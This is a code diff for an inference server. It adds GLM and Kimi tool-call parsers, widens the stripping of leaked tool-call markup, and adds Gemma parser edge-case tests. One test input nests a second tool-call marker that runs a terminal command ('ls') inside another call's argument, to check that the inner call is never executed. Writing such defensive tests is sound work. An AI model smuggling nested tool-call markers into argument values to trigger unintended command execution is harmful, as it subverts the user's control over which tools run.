+        pos = brace_end + 1
+    return out
+
+
+# ── GLM 4.5 / 4.6 / 4.7 ─────────────────────────────────────────────
+
+
+def _parse_glm_tool_calls(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    """GLM 4.5 / 4.6 / 4.7.
+
+    ``<tool_call>NAME[\\n]<arg_key>K</arg_key>[\\n]<arg_value>V</arg_value>
+    ...</tool_call>``. Multi-call is back-to-back blocks, no envelope.
+    Mirrors llama.cpp's GLM 4.x tool-call handling (``common_chat_params_init_glm_4_5``
+    plus its generalized XML-style parser, llama.cpp PRs #15904 / #16932).
+    """
+    out: list[dict] = []
+    pos = 0
+    while pos < len(content):
+        m = _GLM_TC_OPEN_RE.search(content, pos)
+        if not m:
+            break
+        name = m.group(1).strip()
+        apos = m.end()  # absolute position in ``content``; advances past each pair
+
+        args: dict[str, Any] = {}
+        valid = True
+        close = -1
+        # Walk arg pairs directly against ``content``: a value may contain a literal
+        # </tool_call>, so the real close is the </tool_call> before the next <arg_key>.
+        # ``str.find`` keeps this linear.
+        while True:
+            ks = content.find(_GLM_ARG_KEY_OPEN, apos)
+            tc = content.find(_GLM_TC_CLOSE, apos)
+            if tc >= 0 and (ks < 0 or tc < ks):
+                close = tc
+                break
+            if ks < 0:
+                break  # no close and no more keys -- truncated body
+            ke = content.find(_GLM_ARG_KEY_CLOSE, ks + len(_GLM_ARG_KEY_OPEN))
+            if ke < 0:
+                break
+            vstart = ke + len(_GLM_ARG_KEY_CLOSE)
+            while vstart < len(content) and content[vstart] in " \t\r\n":
+                vstart += 1
+            if not content.startswith(_GLM_ARG_VAL_OPEN, vstart):
+                # Key without <arg_value>: strict rejects the call; Auto-Heal skips it.
+                if not allow_incomplete:
+                    valid = False
+                apos = ke + len(_GLM_ARG_KEY_CLOSE)
+                continue
+            vs = vstart + len(_GLM_ARG_VAL_OPEN)
+            # A first-match find on </arg_value> would truncate values containing literal
+            # close tags and execute corrupted arguments.
+            ve = _glm_value_close(content, vs, strict = not allow_incomplete)
+            key = content[ks + len(_GLM_ARG_KEY_OPEN) : ke].strip()
+            if ve < 0:
+                # Unclosed <arg_value>: strict rejects the whole call; Auto-Heal keeps the
+                # partial value (a truncated query is not a no-arg call).
+                if not allow_incomplete:
+                    valid = False
+                    break
+                # Bound the healed value at the next structural tag, not EOF, so a value
+                # missing only its </arg_value> can't swallow the markup after it.
+                nk = content.find(_GLM_ARG_KEY_OPEN, vs)
+                tc = content.find(_GLM_TC_CLOSE, vs)
+                bounds = [b for b in (nk, tc) if b >= 0]
+                if not bounds:
+                    args[key] = content[vs:].rstrip()
+                    break
+                bound = min(bounds)
+                args[key] = content[vs:bound].rstrip()
+                apos = bound
+                continue
+            raw_val = content[vs:ve]
+            apos = ve + len(_GLM_ARG_VAL_CLOSE)
+            # Decode only unambiguous JSON literals; else keep the value RAW so whitespace
+            # in string args survives (matches vLLM glm4_moe). ``"`` is left out of the
+            # probe: a verbatim string's quotes are meaningful.
+            probe = raw_val.strip()
+            if (
+                probe[:1] in "{["
+                or probe in ("true", "false", "null")
+                or _GLM_JSON_NUMERIC_RE.fullmatch(probe)
+            ):
+                try:
+                    args[key] = json.loads(probe)
+                    continue
+                except (json.JSONDecodeError, ValueError):
+                    pass
+            args[key] = raw_val
+
+        # Strict mode: a block with no </tool_call> is truncated; reject it.
+        if not allow_incomplete and close < 0:
+            valid = False
+
+        if name and valid:
+            out.append(
+                {
+                    "id": f"call_{id_offset + len(out)}",
+                    "type": "function",
+                    "function": {
+                        "name": name,
+                        "arguments": json.dumps(args),
+                    },
+                }
+            )
+        pos = close + len(_GLM_TC_CLOSE) if close >= 0 else len(content)
+    return out
+
+
+# ── Kimi K2 / Moonshot ──────────────────────────────────────────────
+
+
+def _parse_kimi_tool_calls(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    """Kimi K2.
+
+    ``<|tool_calls_section_begin|><|tool_call_begin|>functions.NAME:IDX
+    <|tool_call_argument_begin|>{json}<|tool_call_end|>...
+    <|tool_calls_section_end|>``. Full id is preserved on ``tool_calls
+    [i].id`` for round-trip through the chat template. Outer loop walks
+    every section in the stream (vLLM / SGLang parity); mirrors llama.cpp's
+    Kimi K2 handling via its generalized XML-style parser (llama.cpp PR #16932).
+    """
+    out: list[dict] = []
+    outer_pos = 0
+    while True:
+        section_start = content.find(_KIMI_SECTION_BEGIN, outer_pos)
+        if section_start < 0:
+            break
+        scan_start = section_start + len(_KIMI_SECTION_BEGIN)
+        # Section end OUTSIDE JSON strings: an argument may contain the literal end token,
+        # and a raw find would drop the later valid call.
+        section_end = _find_outside_json_strings(content, _KIMI_SECTION_END, scan_start)
+        scan_end = section_end if section_end >= 0 else len(content)
+        body = content[scan_start:scan_end]
+        # Truncated tail: parse what we have, then exit. In strict mode a section with no
+        # <|tool_calls_section_end|> is truncated; reject it instead.
+        if section_end < 0:
+            if allow_incomplete:
+                out.extend(
+                    _parse_kimi_section_body(
+                        body, id_offset = id_offset + len(out), allow_incomplete = True
+                    )
+                )
+            return out
+        outer_pos = section_end + len(_KIMI_SECTION_END)
+        out.extend(
+            _parse_kimi_section_body(
+                body, id_offset = id_offset + len(out), allow_incomplete = allow_incomplete
+            )
+        )
+
+    # The section wrapper is optional (llama.cpp): a bare <|tool_call_begin|> call parses
+    # as one section when the loop matched nothing.
+    if not out and _KIMI_CALL_BEGIN in content:
+        out.extend(
+            _parse_kimi_section_body(
+                content, id_offset = id_offset, allow_incomplete = allow_incomplete
+            )
+        )
+    return out
+
+
+def _parse_kimi_section_body(
+    body: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    """Parse one Kimi K2 section body (between begin / end markers)."""
+    out: list[dict] = []
+    pos = 0
+    while pos < len(body):
+        call_start = body.find(_KIMI_CALL_BEGIN, pos)
+        if call_start < 0:
+            break
+        id_start = call_start + len(_KIMI_CALL_BEGIN)
+        arg_begin = body.find(_KIMI_ARG_BEGIN, id_start)
+        if arg_begin < 0:
+            break
+        full_id = body[id_start:arg_begin].strip()
+        m = _KIMI_ID_RE.match(full_id)
+        if m:
+            # group(1) is the whole name; do NOT split on ``.`` -- a dotted MCP name stays intact.
+            name = m.group(1)
+        else:
+            base = full_id.split(":")[0]
+            name = base[len("functions.") :] if base.startswith("functions.") else base
+        # Drop bare-counter ids (``3``, ``42``) -- matches vLLM; SGLang infers the name
+        # from the tool schema, which we don't have here.
+        if name.isdigit():
+            json_start = arg_begin + len(_KIMI_ARG_BEGIN)
+            brace_end = (
+                _balanced_brace_end(body, json_start)
+                if (json_start < len(body) and body[json_start] == "{")
+                else None
+            )
+            if brace_end is None:
+                pos = arg_begin + len(_KIMI_ARG_BEGIN)
+            else:
+                pos = brace_end + 1
+            continue
+        json_start = arg_begin + len(_KIMI_ARG_BEGIN)
+        # Balanced brace lets a truncated trailing end marker still surface a call.
+        while json_start < len(body) and body[json_start] in " \t\n\r":
+            json_start += 1
+        if json_start >= len(body) or body[json_start] != "{":
+            pos = arg_begin + len(_KIMI_ARG_BEGIN)
+            continue
+        brace_end = _balanced_brace_end(body, json_start)
+        if brace_end is None:
+            # Malformed / truncated JSON: skip this call but keep parsing later ones
+            # instead of dropping the rest of the section (vLLM recovers them).
+            nxt = body.find(_KIMI_CALL_BEGIN, json_start)
+            if nxt < 0:
+                break
+            pos = nxt
+            continue
+        try:
+            args = json.loads(body[json_start : brace_end + 1])
+        except (json.JSONDecodeError, ValueError):
+            pos = brace_end + 1
+            continue
+        if not isinstance(args, dict):
+            pos = brace_end + 1
+            continue
+        if not allow_incomplete:
+            # Strict mode: this call must close with <|tool_call_end|> before the next
+            # <|tool_call_begin|>; otherwise it is truncated, so reject it.
+            end_marker = body.find(_KIMI_CALL_END, brace_end + 1)
+            next_call = body.find(_KIMI_CALL_BEGIN, brace_end + 1)
+            if end_marker < 0 or (next_call >= 0 and end_marker > next_call):
+                pos = brace_end + 1
+                continue
+        if name:
+            out.append(
+                {
+                    "id": full_id or f"call_{id_offset + len(out)}",
+                    "type": "function",
+                    "function": {
+                        "name": name,
+                        "arguments": json.dumps(args),
+                    },
+                }
+            )
+        # Advance past the JSON; seeking <|tool_call_end|> could skip a following call
+        # when this one's end marker is missing.
+        pos = brace_end + 1
     return out
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 1a1a934009..3341a9c628 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -1150,7 +1150,13 @@ from core.inference.key_exchange import decrypt_api_key
 from core.inference.model_ids import public_model_id
 from core.inference.api_monitor import api_monitor
 from core.inference.llama_http import nonstreaming_client
-from core.inference.tool_call_parser import _strip_function_xml_calls, _strip_mistral_closed_calls
+from core.inference.tool_call_parser import (
+    _strip_function_xml_calls,
+    _strip_gemma_wrapperless_calls,
+    _strip_glm_calls,
+    _strip_mistral_closed_calls,
+)
+from core.inference.tool_call_parser import TOOL_XML_SIGNALS as _PARSER_TOOL_SIGNALS
 from core.inference.passthrough_healing import (
     StreamToolCallHealer,
     heal_gate,
@@ -1309,8 +1315,8 @@ async def artifact_preview_frame(allow_network: bool = False):
     )
 
 
-# Whitespace/escape-tolerant bare-JSON tool-template detector: matches pretty-printed and
-# JSON-escaped ``{"name":`` plus the ``"function"`` alias.
+# Whitespace/escape-tolerant bare-JSON tool-template detector (matches pretty-printed and
+# JSON-escaped ``{"name":`` plus the ``"function"`` alias), mirroring the parser's tolerance.
 _BARE_JSON_NAME_MARKER_RE = _re.compile(r'\{\s*\\?"(?:name|function)\\?"\s*:')
 
 
@@ -1324,15 +1330,16 @@ def _detect_safetensors_features(backend, chat_template: Optional[str]) -> dict:
         model_identifier = model_id,
         log_source = "safetensors",
     )
-    # Markers the parser recognises; drop the pill if a template advertises tools but uses none.
-    # The bare-JSON ``{"name":`` form is matched whitespace-tolerantly below.
+    # Markers any supported parser recognises (template advertises tools but
+    # uses none -> drop the pill). Reuse the parser's own signal list so this
+    # gate never drifts (a hand-maintained copy lost the DeepSeek variants);
+    # ``<arg_key>`` is GLM's unique signal, absent from the shared set. The
+    # bare-JSON ``{"name":`` form is matched below with the whitespace/escape-
+    # tolerant ``_BARE_JSON_NAME_MARKER_RE`` so pretty-printed or escaped
+    # templates are not mis-classified as tool-less.
     _PARSER_MARKERS = (
-        "<tool_call>",
-        "<function=",
-        "<function name=",
-        "<|python_tag|>",
-        "[TOOL_CALLS]",
-        "<|tool_call>",
+        *_PARSER_TOOL_SIGNALS,
+        "<arg_key>",
     )
     if (
         flags.get("supports_tools")
@@ -1365,7 +1372,12 @@ def _sf_reasoning_prefill_mode(
     template: Optional[str] = None,
     reasoning_effort: Optional[str] = None,
 ) -> bool:
-    """Whether this request begins inside an unclosed ``<think>`` (Qwen3/GLM prefill it). Gated on the standard markers; bespoke channels, gpt-oss, and thinking-disabled requests are excluded. ``enable_thinking=None`` defaults ON."""
+    """Whether this request begins INSIDE an unclosed ``<think>`` (Qwen3/Qwen3.5/GLM prefill it).
+
+    Gated on the STANDARD ``<think>``/``</think>`` markers: a bespoke reasoning channel (e.g. gemma)
+    never emits ``</think>``, so prefilled mode would swallow the whole answer -- excluded, as are
+    gpt-oss and thinking-disabled requests. ``enable_thinking=None`` defaults ON, so plain requests prefill.
+    """
     if features.get("reasoning_style") not in ("enable_thinking", "enable_thinking_effort"):
         return False
     tpl = template or ""
@@ -1377,8 +1389,11 @@ def _sf_reasoning_prefill_mode(
         return False
     if enable_thinking is False:
         return False
-    # reasoning_effort="none" disables thinking on enable_thinking_effort (GLM-5.2) models like
-    # enable_thinking=False; without this the answer is swallowed into empty reasoning_content.
+    # A reasoning_effort="none" request disables thinking for enable_thinking_effort
+    # (GLM-5.2) models the same way enable_thinking=False does (see
+    # ``_request_reasoning_kwargs``). Without this, the model emits no ``</think>`` and
+    # a plain answer is swallowed whole into reasoning_content, leaving the visible
+    # response empty.
     if features.get("reasoning_style") == "enable_thinking_effort" and reasoning_effort == "none":
         return False
     return True
@@ -1654,41 +1669,83 @@ def _apply_rag_nudge(nudge: str, tools: list[dict], *, rag_scope) -> str:
     return nudge + " " + _RAG_GROUNDING_NUDGE
 
 
-# Strip leaked tool-call markup: every shared-parser format plus the leak shapes
-# ``llama_cpp.py``'s speculative buffer splits across the visible/DRAIN boundary. Mistral
-# ``[TOOL_CALLS]`` uses the parser's balanced-brace helper (``\{.*?\}`` would truncate nested JSON).
+# Strip leaked tool-call markup: every shared-parser format plus the four leak
+# shapes llama_cpp.py's speculative buffer splits across the visible/DRAIN
+# boundary. Mistral [TOOL_CALLS] uses the parser's balanced-brace helper (a
+# non-greedy regex would truncate nested JSON); the DeepSeek opener alternation
+# is the parser's own, so a signal we parse is never left un-stripped.
+from core.inference.tool_call_parser import _DEEPSEEK_OPEN_RE_SRC as _DS_OPEN_SRC
+
 _TOOL_XML_RE = _re.compile(
-    # Hyphen in the name char-class matches MCP tool names with dashes
-    # (mcp__srv__list-issues) that would otherwise leak past this strip.
-    # The ``<|python_tag|>`` arm runs to the next REAL Llama sentinel or EOF, so a literal
-    # ``<|...|>`` token in an argument (e.g. ``<|cite|>``) doesn't truncate the strip.
-    # ``<function=name>`` plus the ``<function name="name">`` attribute form; name class mirrors the parser.
-    # A CLOSED ``<function=...>...</function>`` extends to the last ``</function>`` before the next
-    # opener (so a literal ``</function>`` in a value can't truncate); this arm runs first.
+    # Arm order/notes: the closed ``<function=...>`` arm runs first and extends
+    # to the call's REAL close so a literal ``</function>`` in a value does not
+    # leak the tail; the combined arm still catches ``<tool_call>`` and orphan
+    # tails. The python_tag arm bounds only on REAL Llama control sentinels
+    # (stopping at any ``<|`` truncated on literal ``<|x|>`` tokens in values).
+    # The last arms cover DeepSeek envelopes (all opener variants), Kimi section
+    # blocks, and bare Kimi calls. Name class ``[\w.\-]`` mirrors the parser.
+    # Those three arms carry a call-shaped lookahead (matching the parser's
+    # ``_TOOL_ALL_PATS``): a prose answer that merely mentions a marker
+    # (``See <|tool_call_begin|> in the docs``) is only stripped when a real
+    # call actually follows the marker, or the marker is a bare fragment at EOF.
     r'<function(?:=[\w.\-]+|\s+name="[\w.\-]+")>(?:(?!<function(?:=[\w.\-]+|\s+name="[\w.\-]+")>).)*</function>'
     r'|<(?:tool_call|function(?:=[\w.\-]+|\s+name="[\w.\-]+"))>.*?(?:</(?:tool_call|function)>|\Z)'
     r"|<\|tool_call>.*?(?:<tool_call\|>|\Z)"
     r"|</(?:tool_call|function)>"
     r"|<tool_call\|>"
     r"|<\|python_tag\|>(?:[^<]|<(?!\|(?:eot_id|eom_id|python_tag|start_header_id|end_header_id|begin_of_text|finetune_right_pad_id)\|))*"
-    # ``</param>`` is the attribute-form alias of ``</parameter>``; strip a tail-only orphan.
+    r"|"
+    + _DS_OPEN_SRC
+    + r"(?=\s*(?:<｜tool▁call▁begin｜>|function)|\s*$).*?(?:<｜tool▁calls▁end｜>|\Z)"
+    r"|<\|tool_calls_section_begin\|>(?=\s*<\|tool_call_begin\|>|\s*$).*?(?:<\|tool_calls_section_end\|>|\Z)"
+    r"|<\|tool_call_begin\|>(?=\s*[A-Za-z_][\w.\-]*:\d|\s*$).*?(?:<\|tool_call_end\|>|\Z)"
+    # ``</param>`` is the attribute-form alias of ``</parameter>`` (the parser accepts
+    # both); strip a tail-only orphan close of either spelling.
     r"|</(?:parameter|param)>\s*\Z",
     _re.DOTALL,
 )
 
 
-def _strip_tool_xml(text: str) -> str:
-    """Mistral balanced-brace helper + guarded function-XML scan + ``_TOOL_XML_RE`` (skips openers inside an open ``<parameter>``)."""
-    return _TOOL_XML_RE.sub(
-        "", _strip_function_xml_calls(_strip_mistral_closed_calls(text), final = True)
+def _gemma_strip_gate(tools) -> set:
+    """Enabled tool NAMES gating the wrapper-less Gemma strip (mirrors the
+    parser/loop gate: only an enabled ``call:foo{...}`` is a call). With NO tools
+    enabled this returns an EMPTY set, not ``None``: every ``call:NAME{...}`` is
+    then prose, and ``None`` would strip-all and delete a legitimate answer."""
+    names = {
+        (t.get("function") or {}).get("name")
+        for t in (tools or [])
+        if isinstance(t, dict) and isinstance(t.get("function"), dict)
+    }
+    names.discard(None)
+    return names
+
+
+def _strip_tool_xml(text: str, enabled_tool_names: Optional[set] = None) -> str:
+    """Combine the parser's scan-based strips (Mistral balanced-brace, gated
+    Gemma wrapper-less, GLM real-close, guarded function-XML) with
+    ``_TOOL_XML_RE`` -- the scan strips close at each call's REAL terminator so
+    literal markup inside argument values is data, not a leaked tail.
+    ``enabled_tool_names`` gates the Gemma strip; ``None`` strips every closed call."""
+    cleaned = _strip_glm_calls(
+        _strip_gemma_wrapperless_calls(_strip_mistral_closed_calls(text), enabled_tool_names),
+        final = True,
     )
+    cleaned = _strip_function_xml_calls(cleaned, final = True)
+    return _TOOL_XML_RE.sub("", cleaned)
 
 
-def _strip_tool_xml_for_display(text: str, *, auto_heal_tool_calls: bool) -> str:
-    """Route-level tool-call leak cleanup (Auto-Heal only) via ``_strip_tool_xml``."""
+def _strip_tool_xml_for_display(
+    text: str,
+    *,
+    auto_heal_tool_calls: bool,
+    enabled_tool_names: Optional[set] = None,
+) -> str:
+    """Route-level leak cleanup (Auto-Heal only). Delegates to ``_strip_tool_xml``
+    so the Mistral balanced-brace pass runs too (``_TOOL_XML_RE`` alone has no
+    ``[TOOL_CALLS]`` arm). ``enabled_tool_names`` gates the Gemma strip."""
     if not auto_heal_tool_calls:
         return text
-    return _strip_tool_xml(text)
+    return _strip_tool_xml(text, enabled_tool_names)
 
 
 logger = get_logger(__name__)
@@ -5960,6 +6017,7 @@ async def openai_chat_completions(
                     _msg["content"] = _strip_tool_xml_for_display(
                         _msg["content"],
                         auto_heal_tool_calls = _gguf_auto_heal_tool_calls,
+                        enabled_tool_names = _gemma_strip_gate(tools_to_use),
                     ).strip()
 
             def gguf_generate_with_tools():
@@ -6093,6 +6151,7 @@ async def openai_chat_completions(
                         clean_cumulative = _strip_tool_xml_for_display(
                             raw_cumulative,
                             auto_heal_tool_calls = _gguf_auto_heal_tool_calls,
+                            enabled_tool_names = _gemma_strip_gate(tools_to_use),
                         )
                         new_text = clean_cumulative[len(prev_text) :]
                         prev_text = clean_cumulative
@@ -6199,6 +6258,7 @@ async def openai_chat_completions(
                             full_text = _strip_tool_xml_for_display(
                                 event.get("text", ""),
                                 auto_heal_tool_calls = _gguf_auto_heal_tool_calls,
+                                enabled_tool_names = _gemma_strip_gate(tools_to_use),
                             )
                     return full_text, usage, finish
                 finally:
@@ -6572,7 +6632,7 @@ async def openai_chat_completions(
     _sf_features = _detect_safetensors_features(backend, _sf_tpl)
 
     # Split prefilled-``<think>`` output into reasoning_content deltas (GGUF parity) so the UI
-    # renders the thinking block for safetensors and MLX.
+    # renders the thinking block for safetensors AND MLX.
     _sf_parse_think = bool(
         _sf_features.get("supports_reasoning") or _sf_features.get("reasoning_always_on")
     )
@@ -6673,6 +6733,7 @@ async def openai_chat_completions(
                         "content": _strip_tool_xml_for_display(
                             _msg["content"],
                             auto_heal_tool_calls = _sf_auto_heal_tool_calls,
+                            enabled_tool_names = _gemma_strip_gate(_sf_tools_to_use),
                         ).strip(),
                     }
                 )
@@ -6731,7 +6792,7 @@ async def openai_chat_completions(
                 reasoning_extractor = _new_sf_reasoning_extractor()
 
                 def _sf_flush_reasoning():
-                    # Drain the extractor at a turn boundary / stream end; only visible text reaches the monitor.
+                    # Drain the extractor at a turn boundary / stream end (GGUF parity); only visible text reaches the monitor.
                     fr, fv = reasoning_extractor.finish()
                     out = []
                     if fr:
@@ -6757,7 +6818,7 @@ async def openai_chat_completions(
 
                     if event["type"] == "status":
                         if not event["text"]:
-                            # Turn boundary: flush reasoning, then start a fresh extractor.
+                            # Iteration boundary: flush reasoning, then start a fresh extractor for the next turn.
                             for _c in _sf_flush_reasoning():
                                 yield _c
                             prev_text = ""
@@ -6773,7 +6834,7 @@ async def openai_chat_completions(
 
                     if event["type"] in ("tool_start", "tool_end"):
                         if event["type"] == "tool_start":
-                            # Flush reasoning before tool_start so the thinking block closes ahead of the tool card.
+                            # Flush reasoning before the tool_start line so the thinking block closes ahead of the tool card.
                             for _c in _sf_flush_reasoning():
                                 yield _c
                             prev_text = ""
@@ -6786,6 +6847,7 @@ async def openai_chat_completions(
                     clean_cumulative = _strip_tool_xml_for_display(
                         raw_cumulative,
                         auto_heal_tool_calls = _sf_auto_heal_tool_calls,
+                        enabled_tool_names = _gemma_strip_gate(_sf_tools_to_use),
                     )
                     new_text = clean_cumulative[len(prev_text) :]
                     prev_text = clean_cumulative
@@ -6877,11 +6939,12 @@ async def openai_chat_completions(
                         full_text = _strip_tool_xml_for_display(
                             event.get("text", ""),
                             auto_heal_tool_calls = _sf_auto_heal_tool_calls,
+                            enabled_tool_names = _gemma_strip_gate(_sf_tools_to_use),
                         )
                 return full_text
 
             content_text = await asyncio.to_thread(_drain_to_text)
-            # Split prefilled <think> reasoning from the visible answer; monitor gets visible text only.
+            # Split prefilled <think> reasoning out of the visible answer (GGUF parity); monitor gets visible text only.
             _reasoning_text, _visible_text = _extract_responses_reasoning(
                 content_text,
                 parse_think_markers = _sf_parse_think,
@@ -6980,7 +7043,7 @@ async def openai_chat_completions(
                 yield _chat_role_chunk(completion_id, created, model_name)
 
                 prev_text = ""
-                # Split prefilled <think> into reasoning_content deltas. Single turn (no per-turn reset); also MLX.
+                # Split prefilled <think> into reasoning_content deltas (GGUF parity). Single turn (no per-turn reset); also serves MLX.
                 reasoning_extractor = _new_sf_reasoning_extractor()
                 # Run the sync generator in a thread pool to avoid blocking the
                 # event loop. Critical for compare mode: two SSE requests arrive
@@ -7087,7 +7150,7 @@ async def openai_chat_completions(
             for token in generate():
                 full_text = token
 
-            # Split prefilled <think> reasoning from the visible answer; also covers MLX.
+            # Split prefilled <think> reasoning from the visible answer (GGUF parity); also covers MLX.
             _reasoning_text, _visible_text = _extract_responses_reasoning(
                 full_text,
                 parse_think_markers = _sf_parse_think,
@@ -7937,8 +8000,8 @@ class _ResponsesReasoningExtractor:
         reasoning_prefilled: bool = False,
     ) -> None:
         self._buffer = ""
-        # ``reasoning_prefilled``: output begins inside an unclosed ``<think>`` (Qwen3/GLM prefill),
-        # so start in reasoning to capture leading text until the first ``</think>``.
+        # ``reasoning_prefilled``: output begins INSIDE an unclosed ``<think>`` (Qwen3/GLM prefill),
+        # so start in reasoning to capture leading text until the first ``</think>``. Callers default False.
         self._in_reasoning = reasoning_prefilled
         # Splitting requires marker parsing; a prefilled open implies it.
         self._parse_think_markers = parse_think_markers or reasoning_prefilled
@@ -7970,7 +8033,7 @@ class _ResponsesReasoningExtractor:
                     self._buffer = self._buffer[close_idx + len(_RESPONSES_THINK_CLOSE) :]
                     self._in_reasoning = False
                     continue
-                # Hold back a trailing partial of either marker: the close (clean chunk-boundary split)
+                # Hold back a trailing partial of EITHER marker: the close (clean chunk-boundary split)
                 # and a stray open (so a re-emitted ``<think>`` isn't leaked into the reasoning drawer).
                 keep = _responses_marker_holdback(
                     self._buffer, (_RESPONSES_THINK_CLOSE, _RESPONSES_THINK_OPEN)
@@ -9859,7 +9922,9 @@ async def anthropic_messages(
         # Strip stale tool-call XML from conversation
         for _msg in openai_messages:
             if _msg.get("role") == "assistant" and isinstance(_msg.get("content"), str):
-                _msg["content"] = _strip_tool_xml(_msg["content"]).strip()
+                _msg["content"] = _strip_tool_xml(
+                    _msg["content"], _gemma_strip_gate(openai_tools)
+                ).strip()
 
         def _run_tool_gen():
             return llama_backend.generate_chat_completion_with_tools(
@@ -9904,6 +9969,7 @@ async def anthropic_messages(
                 message_id,
                 model_name,
                 disable_parallel_tool_use = _disable_parallel,
+                openai_tools = openai_tools,
             )
         )
 
@@ -10010,7 +10076,7 @@ async def _anthropic_tool_stream(
                 # content event that was purely tool XML doesn't count as text.
                 if etype == "content":
                     event = dict(event)
-                    event["text"] = _strip_tool_xml(event["text"])
+                    event["text"] = _strip_tool_xml(event["text"], _gemma_strip_gate(openai_tools))
                 # disable_parallel_tool_use: keep only the first tool_use block,
                 # dropping every later tool_start and its paired tool_end (robust
                 # to empty tool-call ids — tracked by state, not id matching).
@@ -10165,6 +10231,7 @@ async def _anthropic_tool_non_streaming(
     message_id,
     model_name,
     disable_parallel_tool_use = False,
+    openai_tools = None,
 ):
     """Non-streaming response for the tool-calling path.
 
@@ -10193,7 +10260,7 @@ async def _anthropic_tool_non_streaming(
         etype = event.get("type", "")
         if etype == "content":
             # Strip leaked tool-call XML
-            clean = _strip_tool_xml(event["text"])
+            clean = _strip_tool_xml(event["text"], _gemma_strip_gate(openai_tools))
             new = clean[len(prev_text) :]
             prev_text = clean
             if new:
@@ -10662,11 +10729,14 @@ async def _anthropic_passthrough_non_streaming(
     else:
         text = message.get("content") or ""
         if text:
-            # Keep unpromoted bytes when healing is active; legacy stripping is only for opted-out
-            # or no-client-tool requests. _strip_tool_xml also cleans Mistral [TOOL_CALLS] and
-            # guarded function-XML, not just _TOOL_XML_RE.
+            # Keep unpromoted bytes when healing is active; legacy stripping is
+            # only for opted-out or no-client-tool requests. Use the full
+            # _strip_tool_xml pass so Mistral [TOOL_CALLS] and guarded
+            # function-XML leaks are cleaned too, not just _TOOL_XML_RE forms,
+            # with the Gemma display gate so a disabled/example call:NAME{...}
+            # in prose survives.
             if not healing_active:
-                text = _strip_tool_xml(text)
+                text = _strip_tool_xml(text, _gemma_strip_gate(openai_tools))
             text = text.strip()
             if text:
                 content_blocks.append(AnthropicResponseTextBlock(text = text))
diff --git a/studio/backend/tests/test_gemma_tool_parse_edge_cases.py b/studio/backend/tests/test_gemma_tool_parse_edge_cases.py
index fff6b240c5..7b653f47aa 100644
--- a/studio/backend/tests/test_gemma_tool_parse_edge_cases.py
+++ b/studio/backend/tests/test_gemma_tool_parse_edge_cases.py
@@ -41,7 +41,7 @@ def test_normal_multi_key_arguments_still_split():
 
 
 def test_empty_bare_value_becomes_empty_string_not_dropped():
-    # An empty bare value (``{query:}``) must serialise as ``""`` (``{"query":}`` is invalid JSON).
+    # An empty bare value (``{query:}``) must serialise as ``""`` (``{"query":}`` is invalid JSON and dropped the call).
     calls = parse_tool_calls_from_text("<|tool_call>call:search{query:,unit:celsius}<tool_call|>")
     assert len(calls) == 1, calls
     assert _args(calls[0]) == {"query": "", "unit": "celsius"}
@@ -60,6 +60,15 @@ def test_bare_value_with_timestamps_after_comma_is_kept():
     assert _args(calls[0]) == {"query": "meet at 10:00, 11:00 tomorrow", "priority": "high"}
 
 
+def test_wrapperless_bare_value_with_timestamps_after_comma_is_kept():
+    # The wrapper-less Gemma form (no <|tool_call> markers) goes through the
+    # _gemma_parse_stripped_body scanner and its _GEMMA_KEY_RE.
+    calls = parse_tool_calls_from_text("call:web_search{query:meet at 10:00, 11:00 tomorrow}")
+    assert len(calls) == 1, calls
+    assert calls[0]["function"]["name"] == "web_search"
+    assert _args(calls[0]) == {"query": "meet at 10:00, 11:00 tomorrow"}
+
+
 def test_marker_inside_json_argument_is_not_a_second_call():
     content = (
         '<tool_call>{"name":"python","arguments":{"code":'
@@ -97,8 +106,8 @@ def test_json_marker_inside_gemma_argument_is_not_a_second_call():
 
 
 def test_nested_gemma_marker_in_unquoted_arg_does_not_run_inner_call():
-    # The outer object fails to normalize, but the nested marker is covered by
-    # its span; safe outcome is no executed call at all.
+    # An UNQUOTED Gemma value containing a literal marker: the marker is nested in the outer
+    # candidate span, so it must not be promoted to a standalone `terminal` call (no tool call).
     content = "<|tool_call>call:python{code:<|tool_call>call:terminal{command:ls}<tool_call|>}<tool_call|>"
     calls = parse_tool_calls_from_text(content)
     assert "terminal" not in [c["function"]["name"] for c in calls], calls
@@ -151,6 +160,43 @@ def test_json_marker_inside_xml_parameter_is_not_a_second_call():
     assert [c["function"]["name"] for c in calls] == ["python"], calls
 
 
+def test_wrapperless_nested_object_argument_is_parsed():
+    # skip_special_tokens stream: wrapper and <|"|> markers stripped, so a nested object arrives bare.
+    calls = parse_tool_calls_from_text("call:f{loc:{city:NYC},n:3}")
+    assert len(calls) == 1
+    assert _args(calls[0]) == {"loc": {"city": "NYC"}, "n": 3}
+
+
+def test_wrapperless_array_argument_is_parsed():
+    calls = parse_tool_calls_from_text("call:label{labels:[bug,ui],n:2}")
+    assert len(calls) == 1
+    assert _args(calls[0]) == {"labels": ["bug", "ui"], "n": 2}
+
+
+def test_wrapperless_deeply_nested_object_and_array_are_preserved():
+    # The single-pass parser must keep multi-level nesting (objects inside
+    # objects, arrays inside arrays) intact, not flatten or drop it.
+    calls = parse_tool_calls_from_text(
+        "call:f{loc:{city:NYC,geo:{lat:1,lng:2}},tags:[a,b,[c,d]],n:3}"
+    )
+    assert len(calls) == 1
+    assert _args(calls[0]) == {
+        "loc": {"city": "NYC", "geo": {"lat": 1, "lng": 2}},
+        "tags": ["a", "b", ["c", "d"]],
+        "n": 3,
+    }
+
+
+def test_gemma_parse_array_advances_on_stray_brace():
+    # Regression: a stray '}' / ']' / ',' where an array element is expected must
+    # not stall _gemma_parse_value at the same index (it looped forever before).
+    from core.inference.tool_call_parser import _gemma_parse_array
+
+    items, end, closed = _gemma_parse_array("[a,}]", 0)
+    assert end == 5 and closed is True  # consumed through the closing ']'
+    assert items[0] == "a"
+
+
 def test_gemma_close_marker_inside_quoted_arg_is_not_leaked_when_stripping():
     # Parse keeps the quoted close marker as data; strip removes the whole span.
     text = '<|tool_call>call:python{code:<|"|>print("<tool_call|>")<|"|>}<tool_call|>'
@@ -312,16 +358,17 @@ def test_valid_call_after_close_less_marker_with_quoted_close_token_is_recovered
 
 def test_gemma_parse_value_always_advances_on_stray_delimiter():
